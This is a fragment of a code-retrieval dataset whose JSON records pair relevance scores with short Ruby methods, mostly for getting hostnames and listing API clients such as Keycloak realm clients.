"docid": "b0897ad4eee324f6f4642f04dce3f0e4", "score": "0.62360346", "text": "def name\n return @name unless @name.nil?\n \"#{@name_prefix}host:#{Socket.gethostname} pid:#{Process.pid}\" rescue \"#{@name_prefix}pid:#{Process.pid}\"\n end", "title": "" }, { "docid": "b7f3ac7d0babe525ff365ecd6ba65ccc", "score": "0.6178646", "text": "def name\n @_host.summary.config.name\n end", "title": "" }, { "docid": "732b9701150868729dc3abf91f4e22d8", "score": "0.6153905", "text": "def name\n @status.current[:monit][:platform][:name]\n end", "title": "" }, { "docid": "3c362107778ba27e9a66e54d7ba00a00", "score": "0.61387557", "text": "def monitor_hostname(monitor)\n monitor['hostname'].empty? ? monitor['commands']['1']['get'].match(/^[^\\/]+\\/\\/([^\\/]*)/)[1] : monitor['hostname']\nend", "title": "" }, { "docid": "d452605a92557215b72a57a2645e59b2", "score": "0.61142373", "text": "def determine_host\n Socket.gethostname\n end", "title": "" }, { "docid": "a22c47d82a7be36516facf6d974194b7", "score": "0.6112738", "text": "def get_hostname\n if command_exists?(\"uname\")\n hostname = cmd_exec('uname -n').to_s\n else\n hostname = read_file(\"/proc/sys/kernel/hostname\").to_s.chomp\n end\n report_host({:host => rhost, :name => hostname})\n hostname\n rescue\n raise 'Unable to retrieve hostname'\n end", "title": "" }, { "docid": "66193febda1fddbd28e545d761a7033a", "score": "0.6069655", "text": "def monitor(name)\n begin\n @name=name\n @monitor_hash=get_endpoint(\"monitors/#{@name}\") \n rescue Stingray::NotFoundError \n nil\n end\n end", "title": "" }, { "docid": "6e7956f0a3932380d1946542dfc256aa", "score": "0.6059621", "text": "def host_name\n `hostname`.chomp\n end", "title": "" }, { "docid": "12cac184ae6a22b001a4ca0ef53e3529", "score": "0.60546744", "text": "def name\n @host\n end", "title": "" }, { "docid": "61c2e44f048221946616abbb5695f2f6", "score": "0.605065", "text": "def set_vm_name\n @vm_name ||= Socket.gethostname\n rescue StandardError => e\n @log.error 'Failed to obtain vm name: ', error: e\n end", "title": "" }, { "docid": "a1185b5859d7d6490a6e0b8962f2ed46", "score": "0.60403496", "text": "def network_device_name\n return @network_device_name if @network_device_name\n device_out = runshell(\"netsh interface show interface\")\n @network_device_name = device_out.include?(\"Local Area Connection\") ? \"Local Area Connection\" : \"Ethernet\"\n end", "title": "" }, { "docid": "f7a4eb61d8e605e7ee9027732cdc2718", "score": "0.6038482", "text": "def kernel_name\n uname('-s')\n end", "title": "" }, { "docid": "e14121e96b58afe982caaa1d2a56a955", "score": "0.6013141", "text": "def find_hostname; Socket.gethostname; end", "title": "" }, { "docid": "54a4cec4c637c4206024049add48d99e", "score": "0.60128444", "text": "def system_hostname\n @system_hostname ||= client['System.Inet'].get_hostname\n end", "title": "" }, { "docid": "ecaf8c2b33cf063a0c87788a772cfaf0", "score": "0.6002038", "text": "def get_sockname\n if RUBY_PLATFORM =~ /darwin/\n \"\\020\\002\\010\\111\\177\\000\\000\\001\\000\\000\\000\\000\\000\\000\\000\\000\"\n elsif RUBY_PLATFORM =~ /linux/\n \"\\002\\000\\000\\025\\177\\000\\000\\001\\000\\000\\000\\000\\000\\000\\000\\000\"\n end\n end", "title": "" }, { "docid": "fd13e259f4ca5f800d709b2f1ff1543e", "score": "0.59874547", "text": "def hostname\n require 'socket'\n Socket.gethostname\n end", "title": "" }, { "docid": "5fafcdc63b7d14c63a671eb26aab0713", "score": "0.59720707", "text": "def getMonitorTargetString(ma)\n\t\t# Define this for all EVENT_TYPEs that are in MONITOR_EVENT_TYPES\n\t\t# See documentation on custom interfaces to learn more\n\tend", "title": "" }, { "docid": "67857f123b256a7f49f349ec2d401b6a", "score": "0.5969006", "text": "def set_socket_monitor\n @socket_monitor = SocketMonitor.find(params[:id])\n end", "title": "" }, { "docid": "e177d9875688f61348409cfba5e4184a", "score": "0.59638435", "text": "def socket\n @socket.to_s\n end", "title": "" }, { "docid": "731fb7c4e3fec512afef846f83912274", "score": "0.5949486", "text": "def hostname\n @hostname ||= if %w[development test].include?(self.class.config[:environment])\n Socket.gethostname\n else\n Socket.gethostbyname(Socket.gethostname).first\n end\n end", "title": "" }, { "docid": "974cad76f865d48a90bbf7446a93637f", "score": "0.5949109", "text": "def host()\n \"/system/\"\n end", "title": "" }, { "docid": "8e70d58d9be970fb46b608ace97fc4cb", "score": "0.5942018", "text": "def monitor_label()\n if @msg.nil?\n return \"MONITOR [UNKNOWN]\"\n end\n return label_complex_command(@@remote_commands[@msg[0].to_s()])\n end", "title": "" }, { "docid": "3caec4ae46474d34f2d7d341f327d538", "score": "0.59215", "text": "def host_uid\n \"host_#{@keep_alive.host}\"\n end", "title": "" }, { "docid": "87d9db24b1004f9cec3702c04f91111d", "score": "0.59169674", "text": "def host_server\n Socket.gethostname\n end", "title": "" }, { "docid": "ba620634579314029cc297d6a34becb6", "score": "0.5901585", "text": "def name_for_config\n \"#{host.name} #{name}\"\n end", "title": "" }, { "docid": "da19ffc1003879d68a679c1e7e9287be", "score": "0.5898596", "text": "def getMonitorSuspectString(ma)\n\t\t# Define this for all EVENT_TYPEs that are in MONITOR_EVENT_TYPES\n\t\t# See documentation on custom interfaces to learn more\n\tend", "title": "" }, { "docid": "f01e5d49aa8099fe7d09fce52a3bd62b", "score": "0.5896648", "text": "def name_for_config\n [host.name, name].join(' ')\n end", "title": "" }, { "docid": "f01e5d49aa8099fe7d09fce52a3bd62b", "score": "0.5896648", "text": "def name_for_config\n [host.name, name].join(' ')\n end", "title": "" }, { "docid": "27dd048678533f096fa1ecc63c348069", "score": "0.5888243", "text": "def gethostname\n do_request 'gethostname'\n end", "title": "" }, { "docid": "7fa51420842007fa20f5dee388c29d7a", "score": "0.58818185", "text": "def hostname\n name\n end", "title": "" }, { "docid": "5d38106b67d59cf9dfb345ee86952283", "score": "0.58721054", "text": "def name\n 'hardware'\n end", "title": "" }, { "docid": "af0642da67f2326f64e1ec6c775c6a41", "score": "0.5869856", "text": "def remote_hostname\n Cproton.pn_connection_remote_hostname(@impl)\n end", "title": "" }, { "docid": "ab830d71a2c6b9bfcb35a0b8a2940e09", "score": "0.5863444", "text": "def name\n capability_host_chain[0][0]\n end", "title": "" }, { "docid": "8d73e24b80afdb980101433b45a2c1f3", "score": "0.58620447", "text": "def get(name)\n Monitor.new(name).text\n end", "title": "" }, { "docid": "11c24f98d403cdfc174f0d70ecc6ece2", "score": "0.58581924", "text": "def host_name\n env['HOSTNAME']\n end", "title": "" }, { "docid": "d558bbe58f36f758c51b6c62d2f9befc", "score": "0.5841648", "text": "def host\n socket.host\n end", "title": "" }, { "docid": "393fc39b040a0c0f1fa5a75f7a2549f0", "score": "0.5838997", "text": "def current_host_name\n @current_host_name ||= begin\n host_name = shell_out('scutil --get HostName')\n host_name.stdout.chomp\n end\n end", "title": "" }, { "docid": "a88e32aa652cdf935ac79b6fa6aba9e8", "score": "0.58348566", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "a88e32aa652cdf935ac79b6fa6aba9e8", "score": "0.58348566", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "a88e32aa652cdf935ac79b6fa6aba9e8", "score": "0.58348566", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "34b9556506d9d785dd313badb2e418a8", "score": "0.5816018", "text": "def hostname; host_name; end", "title": "" }, { "docid": "fe383ff44f83a3268197bc2135959123", "score": "0.58152777", "text": "def hostname\n os = inspec.os\n if os.linux? || os.darwin?\n inspec.command('hostname').stdout.chomp\n elsif os.windows?\n inspec.powershell('$env:computername').stdout.chomp\n else\n skip_resource 'The `sys_info.hostname` resource is not supported on your OS yet.'\n end\n end", "title": "" }, { "docid": "426ebbd92383a86ff20fa969b4a91de6", "score": "0.5802552", "text": "def host_name\n self['HOSTNAME']\n end", "title": "" }, { "docid": "84b99568fbd08357e1a50477e9fe1d1f", "score": "0.5799279", "text": "def current_machine_verified\n sirene_server1 = Rails.configuration.switch_server['sirene_server1']\n sirene_server2 = Rails.configuration.switch_server['sirene_server2']\n\n if [sirene_server1, sirene_server2].include? current_machine_name\n current_machine_name\n else\n stdout_error_log 'Error during server switch: This server doesnt seem to be registered in Rails config.'\n context.fail!\n end\n end", "title": "" }, { "docid": "948dd63fb1afdf1bf72ecb9c7e037208", "score": "0.57884926", "text": "def name\n File.join(\"/dev/\",@device.gsub(/!/, \"/\"))\n end", "title": "" }, { "docid": "bfe1f0e1731a52951955d8d4e2c49ca1", "score": "0.5784937", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "bfe1f0e1731a52951955d8d4e2c49ca1", "score": "0.5784937", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "bfe1f0e1731a52951955d8d4e2c49ca1", "score": "0.5784937", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "1eb38b3b35f5ffbca7e14c539e78ec92", "score": "0.5783438", "text": "def to_name(nr)\n SYSCALL_MAP[nr] || nr.to_s\nend", "title": "" }, { "docid": "6f75021f55bfa0738020428382e6f08b", "score": "0.57830447", "text": "def resource\n result = vm.name rescue nil\n result || \"vagrant\"\n end", "title": "" }, { "docid": "c50ac54dc21bb61b1199163c089ab87b", "score": "0.5777233", "text": "def sockets\n info[:sockets]\n end", "title": "" }, { "docid": "df7fe235860d708424ad92d13ac7ef23", "score": "0.57709825", "text": "def gethostname\n Socket.gethostname\nend", "title": "" }, { "docid": "df7fe235860d708424ad92d13ac7ef23", "score": "0.57709825", "text": "def gethostname\n Socket.gethostname\nend", "title": "" }, { "docid": "6635b01632f78b8748ce8b0a818eec18", "score": "0.5769971", "text": "def resource\n vm.name rescue \"vagrant\"\n end", "title": "" }, { "docid": "8185a163b63725cc1a8ab1733d0df115", "score": "0.57596636", "text": "def service_system_name\n context[:service_system_name]\n end", "title": "" }, { "docid": "8185a163b63725cc1a8ab1733d0df115", "score": "0.57596636", "text": "def service_system_name\n context[:service_system_name]\n end", "title": "" }, { "docid": "9113f776830050e3a464a2270bce12c3", "score": "0.57568824", "text": "def host_name\n \"#{self.host.name}\"\n end", "title": "" }, { "docid": "52bc3608ed270ba06e5b2c15f2ab6127", "score": "0.5752882", "text": "def nodename\n Facter.value('hostname')\n end", "title": "" }, { "docid": "217186f027e8cb6d4c41282ceea1e57c", "score": "0.57460827", "text": "def name\n FFI::Libvirt.virNodeDeviceGetName(self)\n end", "title": "" }, { "docid": "70145544e7993437ada42f4b209f505b", "score": "0.57366854", "text": "def hostname\n @hostname ||= Socket.gethostname\n end", "title": "" }, { "docid": "f8fd160f7efde1384cde5f91a69cd8c7", "score": "0.5732267", "text": "def name\n return \"INVALID_KERNEL_NAME\"\n end", "title": "" }, { "docid": "4ce7d20669fa5e46ef7a8f10f2a86669", "score": "0.5722494", "text": "def host_name\n @host_name\n end", "title": "" }, { "docid": "4ce7d20669fa5e46ef7a8f10f2a86669", "score": "0.5722494", "text": "def host_name\n @host_name\n end", "title": "" }, { "docid": "37ae9c08dcecb8b85ff2eee41d35890b", "score": "0.5698366", "text": "def current_machine_name\n [@@global.zone, current_machine_group, @@global.position].join(Rudy::DELIM)\n end", "title": "" }, { "docid": "37ae9c08dcecb8b85ff2eee41d35890b", "score": "0.5698366", "text": "def current_machine_name\n [@@global.zone, current_machine_group, @@global.position].join(Rudy::DELIM)\n end", "title": "" }, { "docid": "a92192a1bc9cbef3d203727aaf8fe929", "score": "0.56836003", "text": "def hostname\n FFI::Libvirt.virConnectGetHostname(self)\n end", "title": "" }, { "docid": "a92192a1bc9cbef3d203727aaf8fe929", "score": "0.56836003", "text": "def hostname\n FFI::Libvirt.virConnectGetHostname(self)\n end", "title": "" }, { "docid": "98d50e843dfa629e35c686d0a439d39d", "score": "0.5679988", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "8bb9c9167eaba34d87993afb3f4b74f3", "score": "0.567984", "text": "def process_monitor_name(element)\n name = element[1..-1]\n case element\n when /^m/\n # Inactive monitor name\n fg = get_colour(:MONITOR_FG)\n bg = get_colour(:MONITOR_BG)\n when /^M/\n # Active monitor name\n fg = get_colour(:FOCUSED_MONITOR_FG)\n bg = get_colour(:FOCUSED_MONITOR_BG)\n end\n markup(name, fg, bg, click: \"bspc monitor -f #{name}\")\n end", "title": "" }, { "docid": "7067a97b3dc7b794a4374a5587f02dab", "score": "0.5675137", "text": "def default_interface\n `netstat -rn | egrep ^default | awk '{print $4}' | head -1`.chomp\n end", "title": "" }, { "docid": "07bb9df22b6241fdabf5085f8acd25ca", "score": "0.5675057", "text": "def host_name\n result = lib.host_name(self)\n result['return']\n end", "title": "" }, { "docid": "5552fd5326ce0942ed1ea300a88dc572", "score": "0.56652635", "text": "def name\n FFI::Libvirt.virNetworkGetName(self)\n end", "title": "" }, { "docid": "fb7b5c7c10aa2f85644f89be7f00a170", "score": "0.5662886", "text": "def name\n return \"INVALID_KERNEL\"\n end", "title": "" }, { "docid": "ba7e17a91edbd9b84814383e4a81a23c", "score": "0.5657333", "text": "def hostname\n return @hostname if @hostname\n @hostname = (uname '-n').chomp.strip\n end", "title": "" }, { "docid": "bc0d9d79734e6446f1cfa36524433260", "score": "0.56520605", "text": "def name\n config.server_name\n end", "title": "" }, { "docid": "f2963ec44595153d803faa6da8f0a9ee", "score": "0.56471455", "text": "def get_host_name\n return @m_host_name\n end", "title": "" }, { "docid": "c0a6466a00dc5e899085754f260ebbd9", "score": "0.56453615", "text": "def current_local_host_name\n @local_host_name ||= begin\n host_name = shell_out('scutil --get LocalHostName')\n host_name.stdout.chomp\n end\n end", "title": "" } ]
c224ac7248ccde11635dc405ebff3062
Get clients belonging to the realm Returns a list of clients belonging to the realm
[ { "docid": "fb822371a15081a6ef7de1e62b51eb7e", "score": "0.5894707", "text": "def realm_clients_get_with_http_info(realm, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ClientsApi.realm_clients_get ...'\n end\n # verify the required parameter 'realm' is set\n if @api_client.config.client_side_validation && realm.nil?\n fail ArgumentError, \"Missing the required parameter 'realm' when calling ClientsApi.realm_clients_get\"\n end\n # resource path\n local_var_path = '/{realm}/clients'.sub('{' + 'realm' + '}', CGI.escape(realm.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'clientId'] = opts[:'client_id'] if !opts[:'client_id'].nil?\n query_params[:'first'] = opts[:'first'] if !opts[:'first'].nil?\n query_params[:'max'] = opts[:'max'] if !opts[:'max'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'viewableOnly'] = opts[:'viewable_only'] if !opts[:'viewable_only'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<ClientRepresentation>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['access_token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ClientsApi#realm_clients_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "6f17c20047c1be77b33b10f4b80a0721", "score": "0.7667306", "text": "def realm_clients_get(realm, opts = {})\n data, _status_code, _headers = realm_clients_get_with_http_info(realm, opts)\n data\n end", "title": "" }, { "docid": "d13c2d78bb25c6756843f5fab7bb874c", "score": "0.75286347", "text": "def list\n perform_request(action: \"client-list\")\n returned_parameters[\"clients\"]\n end", "title": "" }, { "docid": "ad4eb498aaa87d75af297eb7a0784eef", "score": "0.70811933", "text": "def client_list\n request(:client_list)\n end", "title": "" }, { "docid": "943b13bcb736a73ea0bf3720c7d89a44", "score": "0.70572525", "text": "def all\n @clients.map {|identity, record| record.client }\n end", "title": "" }, { "docid": "c14dbde53efaf43e00b49f85f6bfca39", "score": "0.6982238", "text": "def all(options = {})\n CollectionProxy.new(client, \"clients\", \"clients.json\", options)\n end", "title": "" }, { "docid": "add6d35d9c9f94fb88496182afb8a16b", "score": "0.69495034", "text": "def all_clients\n clients.values\n end", "title": "" }, { "docid": "6c177e3a769b5f66c250f2c7d3ab93ed", "score": "0.6890461", "text": "def clients(id)\n _params = {:id => id}\n return @master.call 'lists/clients', _params\n end", "title": "" }, { "docid": "c59402f4c21a24a2707e479c74556ea2", "score": "0.6789829", "text": "def clients\n ipc_returning(command('list-clients'), Client)\n end", "title": "" }, { "docid": "835d1132850fbca631be32173a8450e2", "score": "0.6651744", "text": "def get_clients \n return @clients.select { |i| i.}\n end", "title": "" }, { "docid": "643b610e7f1052b8d42ab445a0a2a1b7", "score": "0.66468984", "text": "def clients(token, workspace_id)\n response = Curl.get(workspace_clients_url(workspace_id)) do |request|\n request.http_auth_types = :basic\n request.username = token\n request.password = 'api_token'\n end\n parse_body(response.body) || []\n end", "title": "" }, { "docid": "59acb264272b70de1d41ec7adb97b0ff", "score": "0.66357243", "text": "def index\n @crm_clients = Crm::Client.all\n end", "title": "" }, { "docid": "3d58842e924c5a5b7b26119c4bdac1c0", "score": "0.6612396", "text": "def list_clients\n resp = setup_client(:search_clients) do |soap|\n soap.body do |xml|\n xml.searchClientRequest do |xml|\n xml.subscriberId BancBox.subscriber_id\n end\n end\n end.to_hash\n return resp[:search_clients_response][:return]\n end", "title": "" }, { "docid": "160db6ef151338cf04032d86a72ea3b5", "score": "0.65727925", "text": "def found_clients\n if @current_user.is_client_user? \n [@current_user.client]\n else\n conditions = @selected_client_ids.empty? ? {} : { :id => @selected_client_ids }\n self.all_clients(conditions)\n end\n end", "title": "" }, { "docid": "4e732cbd991a23eced3e83ea9b1b4f00", "score": "0.6553649", "text": "def clients\n handle_response(User_GetClients()) do |response|\n response[\"Client\"].collect{|c| Client.new({\"ClientID\" => c[\"ClientID\"], \"CompanyName\" => c[\"Name\"]})}\n end\n end", "title": "" }, { "docid": "baae4b2294eaef02cee851493d0ed73b", "score": "0.65387213", "text": "def client_get_list(params = nil)\n hash = call_api_service(:get, \"/api/client/get/list#{to_query(params)}\", nil, nil)\n\n Authlete::Model::ClientList.new(hash)\n end", "title": "" }, { "docid": "baae4b2294eaef02cee851493d0ed73b", "score": "0.65387213", "text": "def client_get_list(params = nil)\n hash = call_api_service(:get, \"/api/client/get/list#{to_query(params)}\", nil, nil)\n\n Authlete::Model::ClientList.new(hash)\n end", "title": "" }, { "docid": "d7ffb3a649b2ced68e11861e916fb72a", "score": "0.65133566", "text": "def clients\n Client.where(id: CampaignDetail.where(user_id: self.id).map(&:client_id))\n end", "title": "" }, { "docid": "64a0fa39954dadaa7a123b0be24da7b0", "score": "0.6497322", "text": "def index\n\t\t@clients = is_admin? ? Client.all : current_user.clients\n\tend", "title": "" }, { "docid": "2b2103a2b344a035abd0909d31b70932", "score": "0.648582", "text": "def list_all_clients\n\tputs \"\\n Listing all clients:\"\n\t\t@client_list.map {|key,client| client.to_s}\nend", "title": "" }, { "docid": "774838063615fbcd7ba7123539c3d727", "score": "0.64513403", "text": "def index\n @clients = current_user.is_admin? ? Client.all : current_user.clients\n end", "title": "" }, { "docid": "1cdead78abd9d5a023ece9ea30c281de", "score": "0.64352536", "text": "def index\n @clients = current_user.clients\n end", "title": "" }, { "docid": "06c9dff95e6c73fcb1fc0253fe94857f", "score": "0.64196146", "text": "def clients\n\t\tresult = Clients.new(server)\n\n\t\teach_value {|channel|\n\t\t\tchannel.users.each {|nick, user|\n\t\t\t\tresult[nick] = user.client\n\t\t\t}\n\t\t}\n\n\t\treturn result\n\tend", "title": "" }, { "docid": "f02c3a7b070d2bd4a7586f45cf091b4b", "score": "0.6407141", "text": "def clients(options = {})\n post(\"/clients\", options)[\"clients\"].map {|obj| Hashie::Mash.new obj }\n end", "title": "" }, { "docid": "1653b455b0aeea6e43da9558ca034c79", "score": "0.63696957", "text": "def clients()\n Client.all().select() { | client | client.trainer == self }\n end", "title": "" }, { "docid": "e470844aa22a1d6da4b901a560a17a2c", "score": "0.6365847", "text": "def clientslist_request (token)\n\n\turi = URI.parse(KEYCLOAK_REALM_URL)\n\trequest = Net::HTTP::Get.new(uri)\n\trequest[\"Authorization\"] = \"bearer \"+ token\n\n\treq_options = {\n\t use_ssl: uri.scheme == \"https\",\n\t}\n\n\tresponse = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n\t http.request(request)\n\tend\n\n\t# response.code\n\tdata = JSON.parse(response.body)\n\t\nend", "title": "" }, { "docid": "e470844aa22a1d6da4b901a560a17a2c", "score": "0.6365847", "text": "def clientslist_request (token)\n\n\turi = URI.parse(KEYCLOAK_REALM_URL)\n\trequest = Net::HTTP::Get.new(uri)\n\trequest[\"Authorization\"] = \"bearer \"+ token\n\n\treq_options = {\n\t use_ssl: uri.scheme == \"https\",\n\t}\n\n\tresponse = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n\t http.request(request)\n\tend\n\n\t# response.code\n\tdata = JSON.parse(response.body)\n\t\nend", "title": "" }, { "docid": "2b96369b8c9c0edd33558cb962462691", "score": "0.63076806", "text": "def clients\n @@clients[resource]\n end", "title": "" }, { "docid": "5ff3cc184276ab3bd92aa171bfc8c204", "score": "0.6274643", "text": "def get_clients_for_workspace mask\n a = clients.find_all do |c|\n c.get_workspace() & mask > 0\n end\n \n return a\n end", "title": "" }, { "docid": "b79870161a2a7cbf570616441aa3e733", "score": "0.62729484", "text": "def realm_clients_id_get(realm, id, opts = {})\n data, _status_code, _headers = realm_clients_id_get_with_http_info(realm, id, opts)\n data\n end", "title": "" }, { "docid": "155ddacf10d2f0a4bf73ad4a942215ba", "score": "0.6262357", "text": "def clients\n client_ids.map! {|i| Client.new i }\n end", "title": "" }, { "docid": "9dd8438ec2c521d471070f90bd507394", "score": "0.6246686", "text": "def responsible_clients(id)\n parts = Samson::Secrets::Manager.parse_id(id)\n deploy_group_permalink = parts.fetch(:deploy_group_permalink)\n environment_permalink = parts.fetch(:environment_permalink)\n\n if deploy_group_permalink == 'global'\n if environment_permalink == 'global'\n clients.values.presence || raise(VaultServerNotConfigured, \"no vault servers configured\")\n else\n unless deploy_group_permalinks = client_map[:environments][environment_permalink].presence\n raise VaultServerNotConfigured, \"no environment with permalink #{environment_permalink} found\"\n end\n deploy_group_permalinks.map { |p| client(p) }.uniq\n end\n else\n [client(deploy_group_permalink)]\n end\n end", "title": "" }, { "docid": "3a44abfdd6da86e403dbc1bdc3139f71", "score": "0.6240732", "text": "def clients()\n self.trainers().map { | trainer | trainer.clients() }.flatten().uniq\n end", "title": "" }, { "docid": "7355b59bf05488965a5318a509c3173c", "score": "0.6231422", "text": "def display_clients\n @clients.map do |client|\n client.get_client_info\n end\n end", "title": "" }, { "docid": "9a2e25d8662ae37bda671d1197fce1bf", "score": "0.61878085", "text": "def get_client_authorization_list(request)\n hash = call_api_json_service(\"/api/client/authorization/get/list\", to_hash(request))\n\n Authlete::Model::Response::ClientAuthorizationListResponse.new(hash)\n end", "title": "" }, { "docid": "aa9b1ae73bfe0bc8e3bf4fb6bed43028", "score": "0.6170379", "text": "def get_all_clients(page: 1, clients: [])\n response = get(\"clients?page=#{page}\")\n\n return PhysitrackApi::Response.from(response) unless response.success?\n\n clients += response['clients']\n\n if response['clients'].try(:size) == 200\n get_all_clients(page: page + 1, clients: clients)\n else\n PhysitrackApi::Response.from(response, payload: { 'clients' => clients })\n end\n end", "title": "" }, { "docid": "120da57d6446ffa1febebf84160cf5e7", "score": "0.61368597", "text": "def index\n if isAdmin?\n @clients = Client.all\n else\n @clients = Client.where(user_id: @current_user.id)\n end\n end", "title": "" }, { "docid": "11adcaa18e17f0b146e3bcddd7faf0b2", "score": "0.6132337", "text": "def connected_clients\n update_client_list\n client_list.map do |client|\n config[client]\n end.compact.uniq\n end", "title": "" }, { "docid": "0004c852eaab6b86cd8ca011d4beab74", "score": "0.61194474", "text": "def clients\n !params[:id].blank?? session[:company_id] = params[:id] : params[:id] = session[:company_id]\n @companies = Company.company(current_user.company_id)\n if params[:id]\n @company = Company.find(params[:id], :include => [:contacts => :matters])\n @clients = @company.user_clients\n end\n end", "title": "" }, { "docid": "33e25cda7149e46f1f25d7224303325f", "score": "0.608877", "text": "def index\n @property_clients = current_user.clients\n end", "title": "" }, { "docid": "dfc12543ac689564a8663dff593ec946", "score": "0.60730046", "text": "def get_clients (ws)\n clients = []\n email_user_column = get_email_column ws\n # checks that the email column still exists, the form can be\n # altered in the drive. In the case that the column not exists\n # anymore it returns an empty array of clients, the form is not valid\n if email_user_column > 1\n (2..ws.num_rows).each do |row|\n user_email = ws[row, email_user_column]\n user = User.find_by_email(user_email)\n if user != nil && user.client != nil # Admin case?\n client_name = user.client.name\n clients += [client_name] unless clients.include? client_name\n end\n end\n end\n\n # update total answers\n update_total_answers ws\n # update clients linked\n update_clients clients\n\n clients.sort!\n end", "title": "" }, { "docid": "7f3d65ff98f247cbefeb9237d479980f", "score": "0.6072766", "text": "def index\n\t\t@clients = Client.all\n\tend", "title": "" }, { "docid": "98f5f9d59d10982caacaab21ebe59ddb", "score": "0.6070345", "text": "def clients()\n sql = \"SELECT clients.* FROM clients INNER JOIN bookings ON clients.id\n = bookings.client_id WHERE gymclass_id = $1\"\n values =[@id]\n clients = SqlRunner.run(sql,values)\n result = clients.map{|client| Client.new(client)}\n return result\n end", "title": "" }, { "docid": "f38d6937a40248b6fd404a40f4be1b79", "score": "0.60690516", "text": "def get_list_cliente()\r\n return @clientes.clone\r\n end", "title": "" }, { "docid": "d5b3218c49dee79c71924358c3c60a2c", "score": "0.6066112", "text": "def clients(params = {})\n params.reject! {|key, value| value.empty? }\n [\n :firstName, :lastName, :email\n ].map do |key|\n params[key] = \"~#{params[key]}%\"\n end\n response = self.class.get('/client', {query: params})\n response = JSON.parse(response.body, symbolize_names: true)\n if response[:page][:totalElements] < 1\n {clients: [], page: response[:page]}\n else\n {clients: response[:_embedded][:clients], page: response[:page]}\n end\n end", "title": "" }, { "docid": "00ba44066b517751e8a354e4df4a301a", "score": "0.605979", "text": "def clients\n Collection.new(self, Client)\n end", "title": "" }, { "docid": "7e997c65bb3c9b140ba239882af25dfe", "score": "0.60527575", "text": "def clients_for_account_group(_account_group = nil)\n return [] unless _account_group\n\n # all clients if admin\n return _account_group.clients if admin_account_groups.include?(_account_group)\n\n # only clients for projects user is worker of\n return _account_group.projects.collect { |project|\n worker_projects.include?(project) ? project.client : nil\n }.flatten.compact.uniq\n end", "title": "" }, { "docid": "ec1ab5167567c585bc66ea633077d669", "score": "0.60492086", "text": "def index\n @clients = Corrida.all\n end", "title": "" }, { "docid": "552c31b9f648bc5e31830ab31bed2fda", "score": "0.60370225", "text": "def fill_clients\n (current_user.is_admin?)? @clients = Client.all :\n @clients = Client.where(\"user_id = ?\", current_user.id)\n end", "title": "" }, { "docid": "a95d32370a8cb1641df567c495c012d1", "score": "0.60239196", "text": "def index\n\t\t@clients = (current_user.role? \"sales\") ? Client.all : current_user.clients\n end", "title": "" }, { "docid": "3356f2ad47f921d484417ebe8b780d67", "score": "0.6012148", "text": "def get_client_all_using_get(opts = {})\n data, _status_code, _headers = get_client_all_using_get_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "cb1741b3d18d488d08f17784a389d5cc", "score": "0.601205", "text": "def index\n @search = current_user.clients.search(params[:q])\n @clients = @search.result\n end", "title": "" }, { "docid": "3e60375fa5cd9b0a59456b79a24ee29a", "score": "0.5982064", "text": "def clients(start=nil, length=nil)\n query(start, length).clients.sort\n end", "title": "" }, { "docid": "52c90a51a10ffaaf93d68049a1da0cda", "score": "0.59590846", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "11367d36e4c90c8a0de89176b3b870a4", "score": "0.59569764", "text": "def index\n @clients = current_user.clients\n render json: @clients\n end", "title": "" }, { "docid": "00bf55835aeeabf1f9d07db74976fea7", "score": "0.59563696", "text": "def clients(id=nil)\n path_prefix = id ? \"/clients/#{id}\" : '/clients'\n Proxy.new(connection, path_prefix)\n end", "title": "" }, { "docid": "1eb0e9b9294d50579af638370a4aa86d", "score": "0.5955675", "text": "def clients\n @clients ||= {}\n end", "title": "" }, { "docid": "9e4c9cd13014f0d6efd6f7b9717d112c", "score": "0.5950098", "text": "def index\n clients = @_clients.order('clients.id ASC')\n clients = clients.page(params[:page]).per(params[:per_page]) if params[:page].present?\n @clients = clients\n end", "title": "" }, { "docid": "4032369f10e47aef9bfafc7ecae85325", "score": "0.59335315", "text": "def GetLists\n ClientLists.new(cm_client.lists(self.id), self)\n end", "title": "" }, { "docid": "a554e08d85e07c9572be8782676afa93", "score": "0.593138", "text": "def list_authorizations\n _client.authorizations\n end", "title": "" }, { "docid": "70bf357072e1bb08d4f0b67caf9ad97f", "score": "0.5929597", "text": "def list_clients\n \t\[email protected]_with_index do |client, index|\n \t\tputs \"#{index + 1}) #{client.name}.\"\n \t\tend\n\tend", "title": "" }, { "docid": "a533a6d8623b43a69266465b6e2cf6b8", "score": "0.5927331", "text": "def clients optional_params = {}\n request('clients', optional_params)['clients']\n end", "title": "" }, { "docid": "e3d06bbbfcd298acb1eb99caf5e1962b", "score": "0.5925135", "text": "def index\n begin\n clients = current_user.clients\n respond_with clients,each_serializer: ClientSerializer\n rescue Unauthorized => invalid\n message = invalid.log_info\n logger.error message\n render json: {error: message},status: :unauthorized\n rescue => invalid\n logger.error invalid\n render json: {error: \"Problem retrieving clients\"},\n status: :internal_server_error\n end\n end", "title": "" }, { "docid": 